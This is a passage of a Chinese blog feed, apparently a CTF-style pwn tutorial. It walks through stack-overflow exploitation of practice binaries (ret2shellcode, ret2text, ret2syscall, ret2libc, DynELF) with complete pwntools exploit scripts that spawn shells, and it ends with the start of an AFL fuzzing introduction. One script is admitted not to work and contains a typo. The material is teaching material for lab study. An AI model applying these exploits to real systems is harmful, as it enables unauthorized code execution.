|s,ebp-0x14--&gt;+-----------------+ pwn测试使用pwntools，怎么使用，以具体的exp来介绍，比如stack1的exp如下：1234567891011from pwn import *p = process(&apos;./stack1&apos;)ret_addr = 0x08048456offset = 0x18payload = &apos;A&apos; * offset + p32(ret_addr)print(ret_addr,p32(ret_addr))p.sendline(payload)p.interactive() 连接本地process(),远程remote() 数据处理p32、p64是打包（转换成二进制），u32、u64是解包 IO模块send(data) : 发送数据sendline(data) : 发送一行数据，相当于在末尾加\ninteractive() : 与shell交互 执行exp：12345678$ python stack1.py[+] Starting local process &apos;./stack1&apos;: pid 8328(134513750, &apos;V\x84\x04\x08&apos;)[*] Switching to interactive modeAAAAAAAAAAAAAAAAAAAAAAAAV\x84\x0You Hava already controlled it.[*] Got EOF while reading in interactive$ 0X01 ret2shellcode原理ret2shellcode，即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码，常见的功能主要是获取目标系统的 shell。一般来说，shellcode 需要我们自己填充。这其实是另外一种典型的利用方法，即此时我们需要自己去填充一些可执行的代码。 在栈溢出的基础上，要想执行 shellcode，需要对应的 binary 在运行时，shellcode 所在的区域具有可执行权限(NX disabled)。 检查保护情况1234567891011$ checksec ret2shellcode[*] &apos;/home/han/ck/pwn/linux/re2shellcode/ret2shellcode&apos; Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments$ cat /proc/sys/kernel/randomize_va_space0 可以看出源程序几乎没有开启任何保护，并且有可读，可写，可执行段。 查看危险函数123456789101112int __cdecl main(int argc, const char **argv, const char **envp)&#123; int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts(&quot;No system for you this time !!!&quot;); gets((char *)&amp;v4); strncpy(buf2, (const char *)&amp;v4, 0x64u); printf(&quot;bye bye ~&quot;); return 0;&#125; 可以看到，漏洞函数依然还是gets，不过这次还把v4复制到了buf2处。12.bss:0804A080 public buf2.bss:0804A080 ; char buf2[100] 通过sudo cat /proc/[pid]/maps查看,会发现buf2和stack都是rwx的。 计算溢出点可以看到该字符串是通过相对于 esp 的索引，所以我们需要进行调试，将断点下在 call gets处，查看 esp，ebp123456789101112131415161718192021222324252627282930313233343536[----------------------------------registers-----------------------------------]EAX: 0xffffc99c --&gt; 0xf7ffd000 --&gt; 0x26f34EBX: 0x0ECX: 0xf7fb2dc7 --&gt; 0xfb38900aEDX: 0xf7fb3890 --&gt; 0x0ESI: 0xf7fb2000 --&gt; 0x1d4d6cEDI: 0x0EBP: 0xffffca08 --&gt; 0x0ESP: 0xffffc980 --&gt; 0xffffc99c --&gt; 0xf7ffd000 --&gt; 0x26f34EIP: 0x8048593 (&lt;main+102&gt;: call 0x80483d0 &lt;gets@plt&gt;)EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x8048587 &lt;main+90&gt;: call 0x80483e0 &lt;puts@plt&gt; 0x804858c &lt;main+95&gt;: lea eax,[esp+0x1c] 0x8048590 &lt;main+99&gt;: mov DWORD PTR [esp],eax=&gt; 0x8048593 &lt;main+102&gt;: call 0x80483d0 &lt;gets@plt&gt; 0x8048598 &lt;main+107&gt;: mov DWORD PTR [esp+0x8],0x64 0x80485a0 &lt;main+115&gt;: lea eax,[esp+0x1c] 0x80485a4 &lt;main+119&gt;: mov DWORD PTR [esp+0x4],eax 0x80485a8 &lt;main+123&gt;: mov DWORD PTR [esp],0x804a080Guessed arguments:arg[0]: 0xffffc99c --&gt; 0xf7ffd000 --&gt; 0x26f34[------------------------------------stack-------------------------------------]0000| 0xffffc980 --&gt; 0xffffc99c --&gt; 0xf7ffd000 --&gt; 0x26f340004| 0xffffc984 --&gt; 0x00008| 0xffffc988 --&gt; 0x10012| 0xffffc98c --&gt; 0x00016| 0xffffc990 --&gt; 0x00020| 0xffffc994 --&gt; 0xc300000024| 0xffffc998 --&gt; 0x00028| 0xffffc99c --&gt; 0xf7ffd000 --&gt; 0x26f34[------------------------------------------------------------------------------]Legend: code, data, rodata, valueBreakpoint 1, 0x08048593 in main () at ret2shellcode.c:1414 ret2shellcode.c: No such file or directory. 可以看到 esp 为 0xffffc980，ebp 为0xffffca08，同时 v4 相对于 esp 的索引为 [esp+0x1c]，所以，v4 的地址为 0xffffc99c，所以 s 相对于 ebp 的偏移为 0x6C，所以相对于返回地址的偏移为 0x6c+4。 劫持ret的地址这次我们想要程序执行shellcode，那么我们可以把shellcode放在任何可执行的位置，比如buf2或栈上，位置的地址就是我们需要覆盖ret_addr的值 pwn测试控制程序执行bss段的shellcode12345678910111213from pwn import *p = process(&apos;./ret2shellcode&apos;)ret_addr = 0x0804A080offset = 0x6c + 4shellcode = asm(shellcraft.i386.linux.sh())payload = shellcode.ljust(offset,&apos;a&apos;) + p32(ret_addr)#payload = shellcode + &apos;a&apos;*(offset - len(shellcode)) + p32(ret_addr)p.sendline(payload)p.interactive() Shellcode生成器使用shellcraft可以生成对应的架构的shellcode代码，直接使用链式调用的方法就可以得到如32位linux：shellcraft.i386.linux.sh()shellcode.ljust(offset,’a’)在shellcode后面填充offset - len(shellcode)长度的字符‘a’ 汇编与反汇编使用asm来进行汇编，使用disasm进行反汇编指定cpu类型以及操作系统：asm(‘nop’, arch=’arm’，os = ‘linux’，endian = ‘little’，word_size = 32) 0x02 ret2text原理ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实，这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets)，这就是我们所要说的 ROP。 ROP不需要去执行栈中的shellcode，因此可以绕过DEP保护 检查保护1234567$ checksec ret2text[*] &apos;/home/han/ck/pwn/linux/ret2text/ret2text&apos; Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) 开启了DEP，问题不大，因为执行的已有的代码 检查危险函数1234567891011int __cdecl main(int argc, const char **argv, const char **envp)&#123; int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("There is something amazing here, do you know anything?"); gets((char *)&amp;v4); printf("Maybe I will tell you next time !"); return 0;&#125; 同样还是gets函数 计算偏移和上一个一样，0x6c+4 寻找跳板在代码段发现调用 system(“/bin/sh”) 的代码，那么直接将ret覆盖为0804863A就能拿到shell1234567.text:0804862D call ___isoc99_scanf.text:08048632 mov eax, [ebp+input].text:08048635 cmp eax, [ebp+secretcode].text:08048638 jnz short locret_8048646.text:0804863A mov dword ptr [esp], offset command ; &quot;/bin/sh&quot;.text:08048641 call _system.text:08048646 测试123456789101112from pwn import *p = process(&apos;./ret2text&apos;)ret_add = 0x0804863Aoffset = 0x6c + 4payload = &apos;A&apos;*offset + p32(ret_add)print(p32(ret_add))p.sendline(payload)p.interactive() 0x03 ret2syscall原理ret2syscall，即控制程序执行系统调用，获取 shell。上一个可以在代码段找到system(‘/bin/sh’),如果没法找到的话，我们就得自己去构造系统调用简单地说，只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中，那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shellexecve(&quot;/bin/sh&quot;,NULL,NULL)其中，该程序是 32 位，所以我们需要使得1234系统调用号，即 eax 应该为 0xb第一个参数，即 ebx 应该指向 /bin/sh 的地址，其实执行 sh 的地址也可以。第二个参数，即 ecx 应该为 0第三个参数，即 edx 应该为 0 获取跳板那么我们如何去控制这4个寄存器的值，我们现在修改的只有栈中的数据，这里就需要使用 gadgets。比如说，现在栈顶是 10，那么如果此时执行了 pop eax，那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器，所以我们需要一段一段控制，这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法，我们可以使用 ropgadgets 这个工具。首先，我们来寻找控制 eax 的 gadgets123456$ ROPgadget --binary ret2syscall --only &apos;pop|ret&apos;|grep eax0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret0x080bb196 : pop eax ; ret0x0807217a : pop eax ; ret 0x80e0x0804f704 : pop eax ; ret 30x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret 类似的，我们可以得到控制其它寄存器的 gadgets12345678910111213141516171819202122232425262728$ ROPgadget --binary ret2syscall --only &apos;pop|ret&apos;|grep ebx0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret0x080be23f : pop ebx ; pop edi ; ret0x0806eb69 : pop ebx ; pop edx ; ret0x08092258 : pop ebx ; pop esi ; pop ebp ; ret0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x100x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x140x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 40x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 80x08048913 : pop ebx ; pop esi ; pop edi ; ret0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 40x08049a94 : pop ebx ; pop esi ; ret0x080481c9 : pop ebx ; ret0x080d7d3c : pop ebx ; ret 0x6f90x08099c87 : pop ebx ; ret 80x0806eb91 : pop ecx ; pop ebx ; ret0x0806336b : pop edi ; pop esi ; pop ebx ; ret0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret0x0805c820 : pop esi ; pop ebx ; ret0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret0x0807b6ed : pop ss ; pop ebx ; ret 现在，我们就得到了可以控制4个寄存器的地址：0x080bb196 : pop eax ; ret0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret 另外，我们要向ebx写入’/bin/sh’，同时执行int 80所以要搜索，看看程序中有没有123456789$ ROPgadget --binary ret2syscall --only intGadgets information============================================================0x08049421 : int 0x800x080938fe : int 0xbb0x080869b5 : int 0xf60x0807b4d4 : int 0xfcUnique gadgets found: 4 1234$ ROPgadget --binary ret2syscall --string &apos;/bin/sh&apos;Strings information============================================================0x080be42c : /bin/sh 测试12345678910111213141516171819from pwn import *p = process('./ret2syscall')offset = 0x6c + 4pop_eax_ret = 0x080bb196pop_edx_ecx_ebx_ret = 0x0806eb90binsh = 0x080be408int_0x80 = 0x08049421payload = 'A'*offset + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh) + p32(int_0x80)payload = flat('A'*offset , pop_eax_ret , 0xb , pop_edx_ecx_ebx_ret , 0 , 0 , binsh,int_0x80)print(payload)p.sendline(payload)p.interactive() flat()在pwntools中可以用flat()來构造rop，参数传递用list來传，list中的element为想串接的rop gadget地址，简单来说就是可以把：rop = p32(gadget1) + p32(gadget2) + p32(gadget3) ……变成这样表示：flat([gadget1,gadget2,gadget3,……]) 0x04 ret2libc原理我们知道程序调用了libc.so，并且libc.so里保存了大量可利用的函数，我们如果可以让程序执行system(“/bin/sh”)的话，也可以获取到shell。既然思路有了，那么接下来的问题就是如何得到system()这个函数的地址以及”/bin/sh”这个字符串的地址，通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容) 1. 程序中有system和’/bin/sh’检查保护1234567$ checksec ret2libc1[*] &apos;/home/han/ck/pwn/linux/ret2libc/ret2libc1&apos; Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) 确定漏洞位置12345678910int __cdecl main(int argc, const char **argv, const char **envp)&#123; int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("RET2LIBC &gt;_&lt;"); gets((char *)&amp;v4); return 0;&#125; 计算偏移寻找跳板 system_plt 123.plt:08048460 _system proc near ; CODE XREF: secure+44p.plt:08048460 jmp ds:off_804A018.plt:08048460 _system endp ‘binsh’ 1234$ ROPgadget --binary ret2libc1 --string &apos;/bin/sh&apos;Strings information============================================================0x08048744 : /bin/sh pwn测试12345678910111213from pwn import *p = process('./ret2libc1')offset =112binsh = 0x08048720system_plt = 0x08048460fake_ret = 'bbbb'payload = flat(['a'*offset,system_plt,fake_ret,binsh])p.sendline(payload)p.interactive() fake_ret是调用system之后的返回地址，binsh就是system的参数 2. 没有binsh需要我们自己来读取字符串，所以我们需要两个 gadgets，第一个控制程序读取字符串，使用gets将’/bin/sh’写入程序某个位置，第二个控制程序执行 system(“/bin/sh”)。 我们在.bss段发现了未利用的buf2，可以把binsh写入buf21234.bss:0804A080 public buf2.bss:0804A080 ; char buf2[100].bss:0804A080 buf2 db 64h dup(?).bss:0804A080 _bss ends 1234567891011121314from pwn import *p = process(&apos;./ret2libc2&apos;)gets_plt = 0x08048460pop_ebx = 0x0804843dsystem_plt = 0x08048490buf2_add = 0x804a080payload = flat([&apos;a&apos;*112,gets_plt,pop_ebx,buf2_add,system_plt,0xdeadbeef,buf2_add])p.sendline(payload)p.sendline(&apos;/bin/sh&apos;)p.interactive() buf2_add是gets的参数，pop_ebx将gets返回后的堆栈平衡，移交控制权给system 3. 两个都没有&amp;无ASLR程序中两个都没有，但是我们可以利用libc中的system和’/bin/sh’1234567$ checksec ret2libc3[*] &apos;/home/han/ck/pwn/linux/ret2libc/ret2libc3&apos; Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) 寻找跳板这时候我们可以使用gdb进行调试。然后通过print和find命令来查找system和”/bin/sh”字符串的地址。我们首先在main函数上下一个断点，然后执行程序，这样的话程序会加载libc.so到内存中，然后我们就可以通过”print system”这个命令来获取system函数在内存中的位置，随后我们可以通过” print __libc_start_main”这个命令来获取libc.so在内存中的起始位置，接下来我们可以通过find命令来查找”/bin/sh”这个字符串。这样我们就得到了system的地址0xf7e19d10以及”/bin/sh”的地址0xf7f588cf。1234567891011121314151617Breakpoint 1, main () at ret2libcGOT.c:2020 ret2libcGOT.c: No such file or directory.gdb-peda$ print system$1 = &#123;&lt;text variable, no debug info&gt;&#125; 0xf7e19d10 &lt;system&gt;gdb-peda$ print __libc_start_main$2 = &#123;&lt;text variable, no debug info&gt;&#125; 0xf7df5d90 &lt;__libc_start_main&gt;gdb-peda$ find 0xf7df5d90,+2200000,&quot;/bin/sh&quot;Searching for &apos;0xf7df5d90,+2200000,/bin/sh&apos; in: None rangesSearch for a pattern in memory; support regex searchUsage: searchmem pattern start end searchmem pattern mapnamegdb-peda$ find &quot;/bin/sh&quot;Searching for &apos;/bin/sh&apos; in: None rangesFound 1 results, display max 1 items:libc : 0xf7f588cf (&quot;/bin/sh&quot;) 测试123456789101112from pwn import *p = process(&apos;./ret2libc3&apos;)offset = 112system_addr = 0xf7e19d10binsh = 0xf7f588cfpayload = flat([&apos;a&apos;*112,system_addr,0xdeabeef,binsh])p.sendline(payload)p.interactive() 4. 两个都没有&amp;有ASLR通过sudo cat /proc/[pid]/maps或者ldd查看，你会发现libc.so地址每次都是变化的12345678910$ ldd ret2libc3 linux-gate.so.1 (0xf7f43000) libc.so.6 =&gt; /lib32/libc.so.6 (0xf7d4c000) /lib/ld-linux.so.2 (0xf7f45000)han at ubuntu in ~/ck/pwn/linux/ret2libc$ ldd ret2libc3 linux-gate.so.1 (0xf7f96000) libc.so.6 =&gt; /lib32/libc.so.6 (0xf7d9f000) /lib/ld-linux.so.2 (0xf7f98000) 那么如何解决地址随机化的问题呢？思路是：我们需要先泄漏出libc.so某些函数在内存中的地址，然后再利用泄漏出的函数地址根据偏移量计算出system()函数和/bin/sh字符串在内存中的地址，然后再执行我们的ret2libc的shellcode。既然栈，libc，heap的地址都是随机的。我们怎么才能泄露出libc.so的地址呢？方法还是有的，因为程序本身在内存中的地址并不是随机的，如图所示： 也就是说程序内存映像是没有随机的 首先我们利用objdump来查看可以利用的plt函数和函数对应的got表：1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283$ objdump -d -j .plt ./ret2libc3./ret2libc3: file format elf32-i386Disassembly of section .plt:08048420 &lt;.plt&gt;: 8048420: ff 35 04 a0 04 08 pushl 0x804a004 8048426: ff 25 08 a0 04 08 jmp *0x804a008 804842c: 00 00 add %al,(%eax) ...08048430 &lt;printf@plt&gt;: 8048430: ff 25 0c a0 04 08 jmp *0x804a00c 8048436: 68 00 00 00 00 push $0x0 804843b: e9 e0 ff ff ff jmp 8048420 &lt;.plt&gt;08048440 &lt;gets@plt&gt;: 8048440: ff 25 10 a0 04 08 jmp *0x804a010 8048446: 68 08 00 00 00 push $0x8 804844b: e9 d0 ff ff ff jmp 8048420 &lt;.plt&gt;08048450 &lt;time@plt&gt;: 8048450: ff 25 14 a0 04 08 jmp *0x804a014 8048456: 68 10 00 00 00 push $0x10 804845b: e9 c0 ff ff ff jmp 8048420 &lt;.plt&gt;08048460 &lt;puts@plt&gt;: 8048460: ff 25 18 a0 04 08 jmp *0x804a018 8048466: 68 18 00 00 00 push $0x18 804846b: e9 b0 ff ff ff jmp 8048420 &lt;.plt&gt;08048470 &lt;__gmon_start__@plt&gt;: 8048470: ff 25 1c a0 04 08 jmp *0x804a01c 8048476: 68 20 00 00 00 push $0x20 804847b: e9 a0 ff ff ff jmp 8048420 &lt;.plt&gt;08048480 &lt;srand@plt&gt;: 8048480: ff 25 20 a0 04 08 jmp *0x804a020 8048486: 68 28 00 00 00 push $0x28 804848b: e9 90 ff ff ff jmp 8048420 &lt;.plt&gt;08048490 &lt;__libc_start_main@plt&gt;: 8048490: ff 25 24 a0 04 08 jmp *0x804a024 8048496: 68 30 00 00 00 push $0x30 804849b: e9 80 ff ff ff jmp 8048420 &lt;.plt&gt;080484a0 &lt;setvbuf@plt&gt;: 80484a0: ff 25 28 a0 04 08 jmp *0x804a028 80484a6: 68 38 00 00 00 push $0x38 80484ab: e9 70 ff ff ff jmp 8048420 &lt;.plt&gt;080484b0 &lt;rand@plt&gt;: 80484b0: ff 25 2c a0 04 08 jmp *0x804a02c 80484b6: 68 40 00 00 00 push $0x40 80484bb: e9 60 ff ff ff jmp 8048420 &lt;.plt&gt;080484c0 &lt;__isoc99_scanf@plt&gt;: 80484c0: ff 25 30 a0 04 08 jmp *0x804a030 80484c6: 68 48 00 00 00 push $0x48 80484cb: e9 50 ff ff ff jmp 8048420 &lt;.plt&gt;$ objdump -R ret2libc3ret2libc3: file format elf32-i386DYNAMIC RELOCATION RECORDSOFFSET TYPE VALUE08049ffc R_386_GLOB_DAT __gmon_start__0804a040 R_386_COPY stdin@@GLIBC_2.00804a060 R_386_COPY stdout@@GLIBC_2.00804a00c R_386_JUMP_SLOT printf@GLIBC_2.00804a010 R_386_JUMP_SLOT gets@GLIBC_2.00804a014 R_386_JUMP_SLOT time@GLIBC_2.00804a018 R_386_JUMP_SLOT puts@GLIBC_2.00804a01c R_386_JUMP_SLOT __gmon_start__0804a020 R_386_JUMP_SLOT srand@GLIBC_2.00804a024 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.00804a028 R_386_JUMP_SLOT setvbuf@GLIBC_2.00804a02c R_386_JUMP_SLOT rand@GLIBC_2.00804a030 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7 思路：通过puts@plt打印出libc_start_main在内存中的地址，也就是libc_start_main@got。既然puts()函数实现是在libc.so当中，那我们调用的puts@plt()函数为什么也能实现puts()功能呢? 这是因为linux采用了延时绑定技术，当我们调用puts@plt()的时候，系统会将真正的puts()函数地址link到got表的puts.got中，然后puts@plt()会根据puts.got 跳转到真正的puts()函数上去。由于 libc 的延迟绑定机制，我们需要泄漏已经执行过的函数的地址。这里我们泄露 libc_start_main 的地址，这是因为它是程序最初被执行的地方。 使用ldd命令可以查看目标程序调用的so库。随后我们把libc.so拷贝到当前目录，因为我们的exp需要这个so文件来计算相对地址：1234567$ ldd ret2libc3 linux-gate.so.1 (0xf7f6b000) libc.so.6 =&gt; /lib32/libc.so.6 (0xf7d74000) /lib/ld-linux.so.2 (0xf7f6d000)han at ubuntu in ~/ck/pwn/linux/ret2libc$ cp /lib32/libc.so.6 libc.so pwn测试12345678910111213141516171819202122232425262728293031from pwn import *from LibcSearcher import LibcSearcherp = process(&apos;./ret2libc3&apos;)elf = ELF(&apos;./ret2libc3&apos;)libc = ELF(&apos;./libc.so&apos;)puts_plt = elf.plt[&apos;puts&apos;]libc_start_main_got =elf.got[&apos;__libc_start_main&apos;]main = elf.symbols[&apos;main&apos;]print(&quot;leak libc_start_main_got addr and return to main again&quot;)payload = flat([&apos;a&apos;*112],puts_plt,main,libc_start_main_got)p.sendlineafter(&apos;Can you find it !?&apos;,payload)print(&quot;receiving libc_start_main_got&quot;)libc_start_main_addr = u32(p.recv(4))print(&apos;libc_start_main_addr = &apos; + hex(libc_start_main_addr))print(&quot;calculating system() addr and \&quot;/bin/sh\&quot; addr&quot;)system_addr = libc_start_main_addr + (libc.symbols[&apos;system&apos;]-libc.symbols[&apos;__libc_start_main&apos;])print(&apos;system_addr= &apos; + hex(system_addr))binsh_addr = libc_start_main_addr + (next(libc.search(&apos;/bin/sh&apos;))-libc.symbols[&apos;__libc_start_main&apos;])print(&apos;binsh_addr= &apos; + hex(binsh_addr))print(&quot;get shell&quot;)print(p32(system_addr),p32(binsh_addr))payload = flat([&apos;a&apos;*104,system_addr,0xdeadbeef,binsh_addr])p.sendline(payload)p.interactive() ELF模块ELF模块用于获取ELF文件的信息，首先使用ELF()获取这个文件的句柄，然后使用这个句柄调用函数，和IO模块很相似。下面演示了：获取基地址、获取函数地址（基于符号）、获取函数got地址、获取函数plt地址12345678910&gt; &gt;&gt;&gt; e = ELF(&apos;/bin/cat&apos;)&gt; &gt;&gt;&gt; print hex(e.address) # 文件装载的基地址&gt; 0x400000&gt; &gt;&gt;&gt; print hex(e.symbols[&apos;write&apos;]) # 函数地址&gt; 0x401680&gt; &gt;&gt;&gt; print hex(e.got[&apos;write&apos;]) # GOT表的地址&gt; 0x60b070&gt; &gt;&gt;&gt; print hex(e.plt[&apos;write&apos;]) # PLT的地址&gt; 0x401680&gt; 如果无法直接知道对方所使用的操作系统及libc的版本而苦恼，常规方法就是挨个把常见的Libc.so从系统里拿出来，与泄露的地址对比一下最后12位，从而获取版本github上面有个库可以参考：https://github.com/lieanu/LibcSearcher12345678from LibcSearcher import *#第二个参数，为已泄露的实际地址,或最后12位(比如：d90)，int类型obj = LibcSearcher(&quot;fgets&quot;, 0X7ff39014bd90)obj.dump(&quot;system&quot;) #system 偏移obj.dump(&quot;str_bin_sh&quot;) #/bin/sh 偏移obj.dump(&quot;__libc_start_main_ret&quot;) 0x05 Memory Leak &amp; DynELF - 在不获取目标libc.so的情况下进行ROP攻击参考的是蒸米的exp，但是用的不是他的示例程序，而是ret2libc3。他的方法是通过write@plt泄露内存，然后寻找system函数。然后使用read@plt将’/bin/sh’写入.bss段，然后通过pppr移交控制权给system()ret2libc3的不同之处在于，没有write和read，不过没有关系，使用puts@plt和gets@plt也可以实现嘛，但是难就难在，虽然puts@plt只有一个参数，但是它有着遇到’\x00’就截断并在后面填充’\n’的“好”习惯，所以泄露出来的数据还需要处理。可以参考下面这两篇：https://www.anquanke.com/post/id/85129http://uprprc.club/2016/09/07/pwntools-dynelf.html 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455from pwn import *p = process('./ret2libc3')elf = ELF('./ret2libc3')plt_puts = elf.symbols['puts']main = elf.symbols['main']plt_gets = elf.symbols['gets']start_addr = elf.symbols['_start']def leak(address): global i count = 0 content = '' x = p.recvuntil('!?') payload1 = '\x90'*112 + p32(plt_puts) + p32(main) + p32(address) p.sendline(payload1) up = "" while True: c = p.recv(1) count += 1 if up == '\n' and c == 'N': print((content).encode('hex')) content =content[:-1]+'\x00' break else: content += c up = c content = content[:4] # content = p.recvuntil('\nN',True) # print(content) # if not content: # content = '\x00' # else: # content = content[:4] print("%#x =&gt; %s" %(address, (content or '').encode('hex'))) return contentd = DynELF(leak,elf = ELF('./ret2libc3'))system_addr = d.lookup('system','libc')print("system address = " + hex(system_addr))bss_addr = 0x0804a040pr = 0x0804841dpayload2 = flat(['a'*112,plt_gets,pr,bss_addr,sytem_addr,main,bss_addr])print("###sending payload2####")p.sendline(payload2)p.sendline("/bin/sh\0")p.interactive() 这段代码在泄露第一个数据之后就失败了，我调试了好久，最后才想起来，payload1 = &#39;\x90&#39;*112 + p32(plt_puts) + p32(main) + p32(address)这里如果使用的是main，那么堆栈就会不平衡，导致溢出点变化（参见之前从112变成104）。但是如果改成返回到start_addr，泄露的数据就会更多（虽然还是没有成功）。一个事实是汇编程序的入口是_start，而C程序的入口是main函数 执行的流程是：GCC将你的程序同crtbegin.o/crtend.o/gcrt1.o一块进行编译。其它默认libraries会被默认动态链接。可执行程序的开始地址被设置为_start。内核加载可执行文件，并且建立正文段，数据段，bss段和堆栈段，特别的，内核为参数和环境变量分配页面，并且将所有必要信息push到堆栈上。控制流程到了_start上面。_start从内核建立的堆栈上获取所有信息，为libc_start_main建立参数栈，并且调用libc_start_main。libc_start_main初始化一些必要的东西，特别是C library（比如malloc)线程环境并且调用我们的main函数。我们的main会以main(argv,argv)来被调用。事实上，这里有意思的一点是main函数的签名。libc_start_main认为main的签名为main(int, char , char )，如果你感到好奇，尝试执行下面的程序。https://www.mi1k7ea.com/2019/03/05/%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B9%8Bret2libc/]]></content>
       <categories>
         <category>Pwn二进制漏洞</category>
       </categories>
@@ -41,7 +65,7 @@
   <entry>
     <title><![CDATA[模糊测试与AFL]]></title>
     <url>%2F2019%2F07%2F01%2FAFL-first-learn%2F</url>
-    <content type="text"><![CDATA[接触这个词语已经有一年了，但还没有学习过更没有上手实践过，正好趁这个机会好好弄弄AFL。提起模糊测试，我们总会联想起这样或那样的专业术语——测试用例、代码覆盖率、执行路径等等，你可能和我一样一头雾水，这次我们就来看个明白 0x01 模糊测试首先，模糊测试（Fuzzing）是一种测试手段，它把系统看成一个摸不清内部结构的黑盒，只是向其输入接口随机地发送合法测试用例，这些用例并不是开发者所预期的输入，所以极有可能会造成系统的崩溃，通过分析崩溃信息，测试人员（黑客）就可以评估系统是否存在可利用的漏洞。模糊测试的过程，就好像是一个不断探测系统可以承受的输入极限的过程，让我想起学电子的时候对一个滤波器进行带宽的评估，如果我们知道内部电路原理，那么这个器件对于我们就是白盒了，可以直接通过公式计算理论带宽，现在系统对于我们而言是一个黑盒，我们通过在足够大频率范围内对其不断输入信号，就能测试出其实际带宽。 模糊测试方法一览 基于变种的Fuzzer 基于模板的Fuzzer 基于反馈演进的Fuzzer 基于追踪路径覆盖率 基于分支覆盖率 在已知合法的输入的基础上，对该输入进行随机变种或者依据某种经验性的变种，从而产生不可预期的测试输入。 此类Fuzzer工具的输入数据，依赖于安全人员结合自己的知识，给出输入数据的模板，构造丰富的输入测试数据。 此类Fuzzer会实时的记录当前对于目标程序测试的覆盖程度，从而调整自己的fuzzing输入。 PAP:路径编码的算法;后面会产生路径爆炸的问题 漏洞的爆发往往由于触发了非预期的分支 Taof, GPF, ProxyFuzz, Peach Fuzzer SPIKE, Sulley, Mu‐4000, Codenomicon AFL 0x02 AFL快速入门1）用make编译AFL。如果构建失败，请参阅docs / INSTALL以获取提示。2）查找或编写一个相当快速和简单的程序，该程序从文件或标准输入中获取数据，以一种有价值的方式处理它，然后干净地退出。如果测试网络服务，请将其修改为在前台运行并从stdin读取。在对使用校验和的格式进行模糊测试时，也要注释掉校验和验证码。遇到故障时，程序必须正常崩溃。注意自定义SIGSEGV或SIGABRT处理程序和后台进程。有关检测非崩溃缺陷的提示，请参阅docs/README中的第11节。3）使用afl-gcc编译要模糊的程序/库。一种常见的方法是：12$ CC = /path/to/afl-gcc CXX =/path/to/afl-g++ ./configure --disable-shared$ make clean all 如果程序构建失败，请联系 &#x61;&#x66;&#108;&#45;&#x75;&#115;&#101;&#x72;&#115;&#x40;&#103;&#111;&#111;&#103;&#108;&#101;&#103;&#114;&#x6f;&#117;&#x70;&#115;&#46;&#99;&#111;&#x6d;。4）获取一个对程序有意义的小而有效的输入文件。在模糊详细语法（SQL，HTTP等）时，也要创建字典，如dictionaries/README.dictionaries中所述。5）如果程序从stdin读取，则运行afl-fuzz，如下所示：./afl-fuzz -i testcase_dir -o findings_dir -- /path/to/tested/program [... program&#39;s cmdline ...] 如果程序从文件中获取输入，则可以在程序的命令行中输入@@; AFL会为您放置一个自动生成的文件名。 一些参考文档 docs/README - AFL的一般介绍，docs/perf_tips.txt - 关于如何快速模糊的简单提示，docs/status_screen.txt - UI中显示的花絮的解释，docs/parallel_fuzzing.txt - 关于在多个核上运行AFL的建议Generated test cases for common image formats - 生成图像文件测试用例的demoTechnical “whitepaper” for afl-fuzz - 技术白皮书 适用环境该工具已确认适用于32位和64位的x86 Linux，OpenBSD，FreeBSD和NetBSD。 它也适用于MacOS X和Solaris，但有一些限制。 它支持用C，C ++或Objective C编写的程序，使用gcc或clang编译。 在Linux上，可选的QEMU模式也允许对黑盒二进制文件进行模糊测试。 AFL的变体和衍生物允许您模糊Python，Go，Rust，OCaml，GCJ Java，内核系统调用，甚至整个虚拟机。 